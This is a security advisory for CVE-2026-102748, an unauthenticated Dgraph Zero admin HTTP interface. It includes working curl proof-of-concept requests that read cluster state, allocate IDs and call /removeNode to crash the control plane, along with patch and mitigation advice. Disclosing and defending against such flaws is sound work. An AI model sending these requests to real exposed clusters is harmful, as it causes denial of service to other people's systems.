CVE-2026-102748 — dgraph
Fix: dgraph-io/dgraph@c32f604CVE-2026-102748 is a Missing Authentication vulnerability in github.com/dgraph-io/dgraph/v25. A fix is available for github.com/dgraph-io/dgraph/v25 — see the affected versions and patch details below.
Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
github.com/dgraph-io/dgraph/v25Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Dgraph v25.3.8 exposes a Zero HTTP administrative surface that is unauthenticated when port 6080 is reachable.
The exposed routes include:
/state/assign/removeNode/moveTablet
An unauthenticated request to /removeNode?id=1&group=0 on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to localhost:5080.
Details
The issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper.
Relevant code paths:
worker/server_state.go:41dgraph/cmd/zero/run.go:295-301dgraph/cmd/zero/http.go:106-129dgraph/cmd/zero/zero.go:475-477
The relevant behavior is:
disable-admin-http=falseby default/removeNodeaccepts attacker-controlledidandgroupremoveNodeforwards those directly intoServer.RemoveNode- for
group=0,Server.RemoveNodeimmediately callsProposePeerRemoval
This means a remote unauthenticated caller can directly trigger destructive membership operations if 6080 is exposed.
PoC
Read state without authentication
curl -i http://127.0.0.1:6080/state
Observed response included:
- Zero node
id=1 groupId=0leader=true- cluster topology and tablet state
Write-capable route without authentication
curl -i 'http://127.0.0.1:6080/assign?what=nsids&num=1'
Observed response:
HTTP/1.1 200 OK
...
{"startId":"1", "endId":"1", "readOnly":"0"}
This confirms the admin plane is not merely informational.
<img width="1877" height="805" alt="图片" src="https://github.com/user-attachments/assets/caf60927-83ba-495d-8c55-e48343b8a2c7" />Destructive unauthenticated removeNode
curl -i 'http://127.0.0.1:6080/removeNode?id=1&group=0'
Observed result:
curl: (52) Empty reply from server
<img width="1877" height="806" alt="图片" src="https://github.com/user-attachments/assets/a837c385-1c2d-42b6-a5c9-0d93a974ff4e" />
Immediately afterward:
curl -i http://127.0.0.1:6080/health
Observed result:
curl: (56) Recv failure: Connection reset by peer
<img width="786" height="47" alt="图片" src="https://github.com/user-attachments/assets/bd5e977d-d046-4626-b3df-155b141564fa" />
Alpha health was still locally reachable, but Alpha logs began repeatedly reporting:
dial tcp [::1]:5080: connect: connection refused
<img width="1688" height="197" alt="图片" src="https://github.com/user-attachments/assets/8ae3bb84-65bc-4951-ad32-5e1c3231c894" />
This confirms the request reached the destructive path and disrupted the Zero control plane.
Impact
Any deployment that exposes Zero HTTP on 6080 exposes destructive unauthenticated administrative capabilities.
An attacker can:
- read cluster topology and control-plane metadata
- allocate IDs and timestamps
- invoke destructive membership actions
- disrupt the Zero control plane
- indirectly destabilize Alpha nodes that depend on Zero connectivity
This is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/dgraph-io/dgraph/v25 | all versions | 25.4.0go get github.com/dgraph-io/dgraph/v25@v25.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/dgraph-io/dgraph/v25, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/dgraph-io/dgraph/v25 to 25.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-102748 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is CVE-2026-102748 in your dependencies?
Find it across Go, including transitive dependencies.